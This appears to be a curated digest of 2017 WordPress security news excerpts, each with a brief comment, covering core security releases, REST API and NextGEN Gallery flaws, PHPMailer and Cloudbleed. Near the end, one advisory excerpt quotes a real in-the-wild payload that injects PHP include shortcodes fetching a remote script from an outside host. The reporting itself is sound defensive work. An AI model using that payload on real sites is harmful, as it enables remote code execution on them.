Release notes are out, and this release fixes 6 security issues.
WordPress 4.7.5 is now available. This is a security release for all previous versions and we strongly encourage you to update your sites immediately. WordPress versions 4.7.4 and earlier are affected by six security issues:
Insufficient redirect validation in the HTTP class. Reported by Ronni Skansing.
Improper handling of post meta data values in the XML-RPC API. Reported by Sam Thomas.
Lack of capability checks for post meta data in the XML-RPC API. Reported by Ben Bidner of the WordPress Security Team.
A Cross Site Request Forgery (CRSF) vulnerability was discovered in the filesystem credentials dialog. Reported by Yorick Koster.
A cross-site scripting (XSS) vulnerability was discovered when attempting to upload very large files. Reported by Ronni Skansing.
A cross-site scripting (XSS) vulnerability was discovered related to the Customizer. Reported by Weston Ruter of the WordPress Security Team.
Thank you to the reporters of these issues for practicing responsible disclosure.
In addition to the security issues above, WordPress 4.7.5 contains 3 maintenance fixes to the 4.7 release series. For more information, see the release notes or consult the list of changes.
Pretty darn impressive! Running a scan on one of my sites right now. This is nice!
This morning I am incredibly excited to introduce you to a project that the Wordfence team has been working on for almost a year. A few moments ago we officially launched Gravityscan.com, a malware and vulnerability scanner that works on any website. Gravityscan is free. You don’t need to install any software to use it. Simply visit https://www.gravityscan.com/ and enter your website URL. Then hit the “Launch Scan” button and Gravityscan will start examining your website to find out if you have been hacked, or if you have any security vulnerabilities. Go and run your first scan now! I’ll be here when you get back.
A Malware and Vulnerability Scanner for Websites
Gravityscan is designed specifically for websites. It is smart enough to detect if you are running WordPress, Joomla, Drupal, Magento or vBulletin. Then it carefully examines each of those applications you have installed to find out if they have any vulnerabilities. It even detects the extensions you are running in each application and checks them for vulnerabilities.
Gravityscan also performs a comprehensive scan for malware on your site. It does a great job if you simply run a regular scan on any website.
Follow up on the serialized object injection issues Robert talked about in November.
I wrote about an influx of PHP Object Injection attacks previously, warning about a trend of attacks targeting a known but somewhat under-reported PHP vulnerability. Looking back since that time, I get the odd feeling that object injection (or as they’re sometimes called unserialize) vulnerabilities keep cropping up. Wondering if this is just a frequency illusion (once you notice something like a certain make/model of a car, you notice it everywhere!) or actually a trend; I dug into the numbers. Confirming Growth:
These type of attacks are in fact becoming more popular. Using WPVulnDB.com (a website which keeps tracks of WordPress core, theme and plugin vulnerabilities) I found that object injection vulnerabilities had 1 report in 2014, 4 in 2015, then doubled to 8 in 2016 and so far in 2017 there have been 13 reports (not bad for half way through the year)
Back in November, I reported seeing a spike in attacks targeting insecure objects, and looking historically at reported vulnerabilities, we’re seeing these numbers going up each year. It’s not a stretch that these two facts lead me to suspect the WordPress and plugin developer communities may have had no (or bad)
That is a lot of activity for a first day of a launch.
You only realize how incredibly impressive a team is on launch day. The Gravityscan team worked steadily for almost a year, consistently producing releases that added features as Gravityscan grew and became a product. Then, through the QA cycle, the team steadily burned down bugs and made the product rock-solid and ready for launch. Here Are the Numbers
In the first 24 hours since Gravityscan launched, we processed 26,153 scans.
12,596 unique sites have been added to users’ accounts.
Of those, 6,007 sites had their site ownership verified with Google Analytics, which is by far the fastest and easiest method to verify site ownership. Remember: you need to verify site ownership to see vulnerabilities. We do this to make sure unauthorized users can’t see your site’s vulnerabilities.
We already have our first Pro customers, and many have upgraded multiple sites – in some cases, those upgrades numbered in the double digits – to Gravityscan Pro for faster scans and all the other benefits of Pro.
We have a total of 4,052 registered users now – and climbing.
The Craziness of Launch Day
Yesterday morning starting at 7am Pacific Time, we launched. We let our
In depth explanation of the concept of WordPress Nonces, why WordPress nonces are not real nonces and how their lifespan is not really 24 hours, but more around 12 hours.
WordPress nonces are an easy piece of security measure you can implement into your plugins or themes to prevent your users from Cross Site Request Forgery attacks. But how do WordPress nonces really work? You heard they were valid for 24 hours? Are they really? How can they be called nonces if they can be reused? Let’s dive right into in and see how WordPress nonces are not pure nonces but still are useful to provide an higher level of security to your website’s users.
What is a Nonce?
A nonce simply stands for a Number used ONCE. It’s a unique token used to add a layer of security to your application and also to validate the intent of a user initiated action.
This Nonce is generated by a server-side application, stored on the server and sent to the client to be part of the payload it’s going to send back to the server. This way, you have a way to validate the payload and have a higher level of certainty that the request was actually made by the client.
Why use a Nonce?
A nonce could be seen as a one time password for user initiated actions. May it be sending a form, encrypting data or executing an action, the nonce adds a level of security by preventing a malicious
There are millions of websites around the globe that are publicly available. Due to this public availability of websites they have become an active targets for hackers. Hence website owners are constantly trying to understand the threat landscape and develop solutions for threats mitigation. HTTP Security Headers provide mitigation solutions of various threats including cross site scripting, click jacking, code injection and drive by downloads attacks etc. This article will describe the most used HTTP security headers, their methodology of threat mitigation and their configuration guides for Apache and NGINX web-servers.
There are millions of websites around the globe that are publicly available. Due to this public availability of websites they have become an active targets for hackers. Hence website owners are constantly trying to understand the threat landscape and develope solutions for threats mitigation. HTTP Security Headers provide mitigation solutions of various threats including cross site scripting, click jacking, code injection and drive by downloads attacks etc.
This article will describe the most used HTTP security headers, their methodology of threat mitigation and their configuration guides for Apache and NGINX web-servers.
List of HTTP Security Headers that are covered in this article:
Content Security Policy (CSP)
X Frame Options
X Content Type Options
HTTP Public Key Pins (HPKP)
HTTP Strict Transport Security (HSTS)
Content Security Policy (CSP)
The web browsers trust all the contents of a website including its web pages, style sheets, fonts and java script files etc. Due to this trust relationship the browsers loads and executes all the content of a website without any content authentication. This browser behavior can be exploited by hackers in running
Since the vulnerability has now been publically disclosed with no patch available from WordPress. WordPress admins are advised to update their server configuration.
WordPress, the most popular CMS in the world, is vulnerable to a logical vulnerability that could allow a remote attacker to reset targeted users’ password under certain circumstances. The vulnerability (CVE-2017-8295) becomes even more dangerous after knowing that it affects all versions of WordPress — including the latest 4.7.4 version.
The WordPress flaw was discovered by Polish security researcher Dawid Golunski of Legal Hackers last year in July and reported it to the WordPress security team, who decided to ignore this issue, leaving millions of websites vulnerable.
"This issue has been reported to WordPress security team multiple times with the first report sent back in July 2016. It was reported both directly via security contact email, as well as via HackerOne website," Golunski wrote in an advisory published today. "As there has been no progress, in this case, this advisory is finally released to the public without an official patch."
Golunski is the same researcher who discovered a critical vulnerability in the popular open source PHPMailer libraries that allowed malicious actors to remotely execute arbitrary code in the context of the web server
Quite a few security issues fixed in this one, yikes.
WordPress 4.7.3 is now available. This is a security release for all previous versions and we strongly encourage you to update your sites immediately. WordPress versions 4.7.2 and earlier are affected by six security issues:
Cross-site scripting (XSS) via media file metadata. Reported by Chris Andrè Dale, Yorick Koster, and Simon P. Briggs.
Control characters can trick redirect URL validation. Reported by Daniel Chatfield.
Unintended files can be deleted by administrators using the plugin deletion functionality. Reported by xuliang.
Cross-site scripting (XSS) via video URL in YouTube embeds. Reported by Daniel Cid.
Cross-site scripting (XSS) via taxonomy term names. Reported by Delta.
Cross-site request forgery (CSRF) in Press This leading to excessive use of server resources. Reported by Sipke Mellema.
Thank you to the reporters for practicing responsible disclosure.
In addition to the security issues above, WordPress 4.7.3 contains 39 maintenance fixes to the 4.7 release series. For more information, see the release notes or consult the list of changes.
Download WordPress 4.7.3 or venture over to Dashboard → Updates and simply click “Update Now.” Sites that
Did you know that anyone running on a version of PHP below 5.6 no longer has security support?
PHP is one of the most popular scripting languages on the web today. According to W3Techs, PHP is used by over 82% of all the websites who use a server-side programming language. This means for every 8 out of 10 websites you visit, they are most likely utilizing PHP in some form or another. And of course, it plays a very vital role as it pertains to the WordPress ecosystem, as the entire CMS is built on PHP. A dilemma we are facing today is that many businesses, developers, and hosts have fallen behind when it comes to supporting the latest PHP versions. Some of the statistics below might even shock you. Today we want to discuss some of the reasons why it is so important that everyone use the latest PHP versions, not only for security reasons, but also for better performance and support.
Old PHP Versions
As with any piece of software, PHP has a release life cycle in which has has to adhere to in order to keep pushing things forward and making improvements. Each major release of PHP is typically fully supported for two years after its release. During that time, bugs and security issues are fixed and patched on a regular basis.
As of right now, anyone running on a version of PHP below
Aaron shows how a little extra effort and a few wise decisions can drastically up your online security game.
Website security is important. We all know it. For many though, it’s a topic they prefer not to talk or think too much about. They don’t really consider it in very many areas as they build or manage their site. Why? Security is Scary
You know you want to be secure, so you start to check out this weird security thing. Brute force? You can handle that; good passwords, limit login attempts, maybe even two factor authentication. Then you suddenly become aware of cross-site scripting (XSS), SQL injection (SQLi), cross-site request forgery (CSRF), remote code execution (RCE), and potentially so many more that you’re simply terrified. You begin to buy into “ignorance is bliss”. But website security doesn’t have to be scary.
Security is Something You Can Handle
you can drastically increase your online security.
When you start to research website security it’s easy to become overwhelmed as you’re slowly exposed to all the various forms of attacks. Each can be nuanced, complex, and confusing. The good news is, you don’t need to know how every vulnerability works in order to increase your security. Many of them can be prevented by following
While much of this is a rehash of everything we have already seen covered, it does mention a way to search google to see if your site might have been affected. So...worth it for that I guess.
Cloudflare has experienced a data leak over a 5 month period that mixed sensitive data between websites and visitors. A visitor to one website using Cloudflare may have seen data from another website using Cloudflare that was being sent to a completely different site visitor. Some of the leaked data has been indexed by search engines who have been working over the past few days to try and remove the data from their caches.
In this post I am going to explain in simple terms, what occurred and what you need to do about it.
If you are a WordPress user and simply want to know how to secure your site, you can skip to the What Should I Do section below. I have included some information for non-WordPress site owners in that section too.
Cloudflare provides a firewall and content distribution service. Their servers are between your website visitors and your own web server.
Under normal circumstances, cloudflare returns the data each site visitor requested to that visitor. This may be public or sometimes private information and it is usually done over a secure channel. Each website visitor only sees the data they requested.
From September 22nd, 2016 until February 18th 2017 (last Saturday),
This is NOT a good enough answer! This is important and should not be pushed under the rug.
Nearly 50K publicly available plugins call the WordPress plugin directory home but once in awhile a few of them seem to disappear. There is usually a good reason for why this happens but the only information available to the public is a page that says the plugin cannot be found. If the plugin is popular enough, concerned users will contact us and ask to investigate what happened. Mika Epstein, Plugin Directory Representative, says there are a number of reasons for why a plugin can end up hidden from view, “The most well-known, but not the most common, is security issues,” Epstein said.
“Plugins are removed and, by default, hidden mostly because we’re on bbPress 1.0 and there is not as granular a control with post statuses when compared to WordPress itself.”
The plugin review team has three options to choose from when altering a plugin’s visibility, active, closed, and disabled. Although rarely used, when a plugin is disabled, it is hidden from view but updates are able to be pushed out.
I asked Epstein why there’s not more detailed information when a plugin is hidden and the answer is complex, “The lack of information is partly technical
This covers more details about security vulnerabilities in WordPress 4.7 & 4.7.1 that just got fixed in 4.7.2. Here its comes from Sucuri who contributed in this finding and a solid good responsible disclosure.
Security Risk: Severe Exploitation Level: Easy/Remote
DREAD Score: 9/10
Vulnerability: Privilege Escalation / Content Injection
Patched Version: 4.7.2
As part of a vulnerability research project for our Sucuri Firewall (WAF), we have been auditing multiple open source projects looking for security issues. While working on WordPress, we discovered was a severe content injection (privilege escalation) vulnerability affecting the REST API. This vulnerability allows an unauthenticated user to modify the content of any post or page within a WordPress site.
We disclosed the vulnerability to the WordPress Security Team who handled it extremely well. They worked closely with us to coordinate the disclosure timeline and get as many hosts and security providers aware and patched before this became public.
A fix for this was silently included on version 4.7.2 along with other less severe issues. This was done intentionally to give everyone time to patch. We are now disclosing the details because we feel there has been enough time for most WordPress users to update their sites.
Are You At Risk?
This privilege escalation vulnerability affects the WordPress REST API that was recently added and enabled
WordPress backup and security service had a security breach; hackers installing malware on hacked sites.
Or Contact us via the chat channel on any page of the BlogVault website or on the BlogVault dashboard.
If you have questions about the security issue we’re currently facing, please click on the button above, for some of the common queries our customers have had.
If your question isn’t here, please do get in touch with us. We’re here to help.
I’m Akshat, the founder of BlogVault. Here at BlogVault we have been committed to providing highly secure backups.
Unfortunately, I am reaching out to let you know that some of the data on our systems may have been exposed. We are investigating the issue, and will ensure to keep you updated as and when we have more details.
Meanwhile, we have undertaken a list of precautionary measures and we’re sharing what we already know with our entire customer base.
What We Are Doing to Secure Your Website
Due to the breach, some of our customers’ websites were accessed without authorization. After further investigation we found out that these sites had been injected with malware. We have taken immediate action and we are extensively scanning all those identified sites. We are also conducting granular analyses of our
I have a feeling we'll end up seeing a lot more REST API vulnerabilities in the future. Just call it a gut feeling.
WordPress 4.7.2 was released last Thursday, January 26th. If you have not already updated, please do so immediately. In addition to the three security vulnerabilities mentioned in the original release post, WordPress 4.7 and 4.7.1 had one additional vulnerability for which disclosure was delayed. There was an Unauthenticated Privilege Escalation Vulnerability in a REST API Endpoint. Previous versions of WordPress, even with the REST API Plugin, were never vulnerable to this.
We believe transparency is in the public’s best interest. It is our stance that security issues should always be disclosed. In this case, we intentionally delayed disclosing this issue by one week to ensure the safety of millions of additional WordPress sites.
On January 20th, Sucuri alerted us to a vulnerability discovered by one of their security researchers, Marc-Alexandre Montpas. The security team began assessing the issue and working on solutions. While a first iteration of a fix was created early on, the team felt that more testing was needed.
Meanwhile, Sucuri added rules to their Web Application Firewall (WAF) to block exploit attempts against their clients. This issue was found internally and no
Definitely interesting to see the data represented in this way. Way to pull out all the stops to help visualize the information.
Today we are releasing the WordPress attack report for February 2017. You can also find our January 2017 and December 2016 attack reports on the blog. This report contains a new kind of analysis on the top 25 attacking IPs, called topology analysis. We have used this technique to identify groups of IPs acting in concert with each other. It is a fun visual kind of analysis and is a powerful way to analyze graph data. I think you are going to find it provides a clearer picture of the WordPress threat landscape.
The report also contains the data you have come to expect, including top 25 attacking IPs and their details, charts of brute force and complex attacks, top attacked themes and plugins and top attacking countries.
Most Active IPs
I’m including our usual explanation of how the table below works. If you’re familiar with our attack reports, you can skip down to the table below which contains the February data and read my comments that follow the table.
Brief introduction if you’re new to viewing these reports
In the table below we have listed the most active attack IPs for February 2017. Note that the ‘Attacks’ column is in millions and is the total of
What happens when a curious developer scans political sites for low hanging vulnerabilities.
Last year will be characterized by hacking and interference in the American political system. It was a huge wake up call for everybody involved in politics; InfoSec was an important priority. I don't live in America. I live in the tiny Australian Capital Territory, a territory comprising of a Canberra; a city of 300,000 people. Like many places, we have a local government full of politicians. I analyzed the websites of the 25 MLAs (members of the legislative assembly) and their parties sites.
Spolier: too many local politicians have SQL injection vulnerable sites, and don't even care.
I'm not an InfoSec industry professional; just a developer who is interested in this stuff. This is not a blog post about novel vulnerabilities - is is a story about bad higyine.
First, I compiled a list of all the sites. In total, there are 17 MLA sites (not all MLAs have their own site) and 3 party sites. There is even a helpful list maintained by the government.
Then I used used the http headers to do l33t hax0r discovery of the server software they used. It was as follows:
# of Users
Recently discovered: a severe SQL Injection vulnerability allowing an unauthenticated user to grab data from the victim’s website database. If you use NextGen or have a client who does, you might want to read this.
Security Risk: Critical Exploitation Level: Easy/Remote
DREAD Score: 9
Vulnerability: SQL Injection
Patched Version: 2.1.79
As part of a vulnerability research project for our Sucuri Firewall (WAF), we have been auditing multiple open source projects looking for security issues. While working on the WordPress plugin NextGEN Gallery, we discovered a severe SQL Injection vulnerability. This vulnerability allows an unauthenticated user to grab data from the victim’s website database, including sensitive user information.
Are You at Risk?
This vulnerability can be exploited by attackers in at least two different scenarios:
If you use a NextGEN Basic TagCloud gallery on your site, or
If you allow your users to submit posts to be reviewed (contributors). If you fit any of these two cases, you’re definitely at risk.
This issue existed because NextGEN Gallery allowed improperly sanitized user input in a WordPress prepared SQL query, which is basically the same as adding user input inside a raw SQL query. Using this attack vector, an attacker could leak hashed passwords and WordPress secret keys, in certain configurations.
Never trust the input – that is the
A summary of all the WordPress Core, plugins and themes security issues reported during the month of March 2017.
Overview of WordPress Vulnerabilities Published in March 2017 March was a very busy month in terms of published advisories. A security update of WordPress was released, WordPress 4.7.3, and more than 40 WordPress plugin vulnerability advisories were published. The majority of them are from the Summer of Pwnage project, which were identified last year but released this month. In total the below list contains 50 vulnerabilities, which is the highest ever so far since July 2016.
This vulnerability advisories roundup is made possible through WP Security Bloggers, an aggregate of popular WordPress security blogs and websites that publish WordPress security news and updates. Subscribe to the WP Security Bloggers newsletter to keep yourself up to date with what is happening in the world of WordPress security.
List of WordPress Core, Plugins and Themes Vulnerabilities for March 2017
It is important to note that the below is a list of vulnerability advisories that were published during March 2017. This does not mean that all of the below vulnerabilities were identified during this month. Also, this is not a list of ALL the WordPress related security issues published this month, but of those
Update your website now! The REST API flaw is critical, read more here.
Update your website now! Yes, this is the first and last thing I have to tell you, stay updated, above all if you’re using WordPress 4.7 or 4.7.1. Older versions are not affected, even if they are using the old “REST API” plugin.
This post could only be a tweet, but I wanted to give you more informations.
On January 26th, WordPress 4.7.2 was released as a security update, the release notes only mentioned 3 fixes about vulnerabilities but a week later, the security team disclosed another vulnerability, much more critical than the 3 others, and it was also patched in this version 4.7.2.
Why not discloses the 4 flaws in the same time? Aaron Campbell said “We believe transparency is in the public’s best interest […] It is our stance that security issues should always be disclosed. In this case, we intentionally delayed disclosing this issue by one week to ensure the safety of millions of additional WordPress sites.”
And he’s right, I just agree with that, the usual “the sooner the better” is not welcome here.
About The Vulnerability
It’s located in the REST API core. It leads to 2 new vulnerabilities: Remote
Wordfence discusses their surprise about the Clef shut down announcement.
This morning, two-factor authentication plugin Clef, also known as GetClef, announced that they are shutting down. They currently have more than 1 million active WordPress websites using their two-factor authentication plugin. According to the announcement on their blog, their team will be joining another company and they will provide more info in the coming weeks. At this point we don’t have any more detail on who Clef is joining and under what circumstances.
Clef will continue operating for another three months, starting today. Their final shutdown date is June 6th, at which point their apps will be removed from the Google Play and Apple App stores.
Clef have been kind enough to recommend their users transition to Wordfence. They have written a guide to help ease the transition. Wordfence Premium supports traditional SMS based cellphone sign-in along with two factor using Google Authenticator.
Wordfence currently has over 40,000 customers who also use Clef. If you fall into that group, we recommend you disable and remove the Clef plugin and switch to using Wordfence two-factor authentication. You may need to upgrade to Premium to do this if you aren’t already a Wordfence
Yikes, this was a pretty significant bug. Glad it got fixed quickly.
Last Friday, Tavis Ormandy from Google’s Project Zero contacted Cloudflare to report a security problem with our edge servers. He was seeing corrupted web pages being returned by some HTTP requests run through Cloudflare. It turned out that in some unusual circumstances, which I’ll detail below, our edge servers were running past the end of a buffer and returning memory that contained private information such as HTTP cookies, authentication tokens, HTTP POST bodies, and other sensitive data. And some of that data had been cached by search engines.
For the avoidance of doubt, Cloudflare customer SSL private keys were not leaked. Cloudflare has always terminated SSL connections through an isolated instance of NGINX that was not affected by this bug.
We quickly identified the problem and turned off three minor Cloudflare features (email obfuscation, Server-side Excludes and Automatic HTTPS Rewrites) that were all using the same HTML parser chain that was causing the leakage. At that point it was no longer possible for memory to be returned in an HTTP response.
Because of the seriousness of such a bug, a cross-functional team from software engineering, infosec and operations
Urgent: Massive remote command execution attempts against the latest WordPress REST API vulnerability. Update to WordPress 4.7.2 ASAP!
We are starting to see remote command execution (RCE) attempts trying to exploit the latest WordPress REST API Vulnerability. These RCE attempts started today after a few days of attackers (mostly defacers) rushing to vandalize as many pages as they could. The RCE attempts we are seeing in the wild do not affect every WordPress sites, only the ones using plugins that allow for PHP execution from within posts and pages.
Attacks in the Wild
The attackers in the wild are trying to exploit sites that have plugins like the Insert PHP (100k+ installs), Exec-PHP (100k+ installs) and similar installed plugins. These plugins, allow users to insert PHP code directly into the posts as a way to make customizations easier. Coupled with this vulnerability, it allows the attackers to execute PHP code when injecting their content into the database.
For example, this first campaign we are seeing is trying to inject a PHP include to content of different posts to see if it gets executed. This is the payload:
content:"[insert_php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/insert_php]
[php] include('http[:]//acommeamour.fr/tmp/xx.php'); [/php]",
I know it says not to panic, but my tummy took a tumble when reading this one. Hey, I'm not immune to fear. :)
A critical remote code execution vulnerability in PHPMailer has been discovered by Polish researcher Dawid Golunski. The vulnerability was announced on legalhackers.com yesterday but proof of concept exploit details were not included. Unfortunately someone posted a proof of concept to exploit-db and to github a few hours ago demonstrating how the vulnerability can be exploited in the PHPMailer library, but not targeting any web application that is in use.
We are publishing this unscheduled update to give PHP developers and our community advance warning of this issue. We expect this story to continue to evolve rapidly as more developers and malicious actors look at this code.
PHPMailer is used by WordPress core to send email. You can find the code in the wp-includes/class-smtp.php core file.
NOTE: There is no known exploit publicly available for WordPress core or any WordPress theme or plugin at this time. The only exploit we have seen is where a researcher has built their own application and then exploited it, demonstrating the existence of this vulnerability in PHPMailer. (Details below)
Please don’t contact the WordPress core team, WordPress forum moderators